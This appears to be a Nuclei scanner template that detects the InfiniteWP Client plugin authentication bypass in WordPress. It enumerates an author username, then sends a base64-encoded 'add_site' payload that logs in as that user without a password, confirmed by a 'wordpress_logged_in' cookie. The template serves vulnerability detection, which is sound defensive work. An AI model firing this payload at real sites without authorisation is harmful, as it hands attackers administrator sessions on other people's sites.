id: wordpress-infinitewp-auth-bypass

info:
  name: WordPress InfiniteWP Client Authentication Bypass
  author: princechaddha
  severity: critical
  reference: https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/
  tags: wordpress,auth-bypass,wp-plugin

requests:
  - raw:
      - |
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Language: en-US,en;q=0.9
        Connection: close

      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Connection: close
        Upgrade-Insecure-Requests: 1
        Cache-Control: max-age=0
        Content-Type: application/x-www-form-urlencoded
        ContentLength: 3537

        _IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"§username§\"}}")}}

    redirects: true
    extractors:
      - type: regex
        name: username
        internal: true
        group: 1
        part: body
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'

      - type: regex
        name: username
        internal: true
        group: 1
        part: header
        regex:
          - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "wordpress_logged_in"
        part: header

      - type: word
        words:
          - "<IWPHEADER>"

        part: body
      - type: status
        status:
          - 200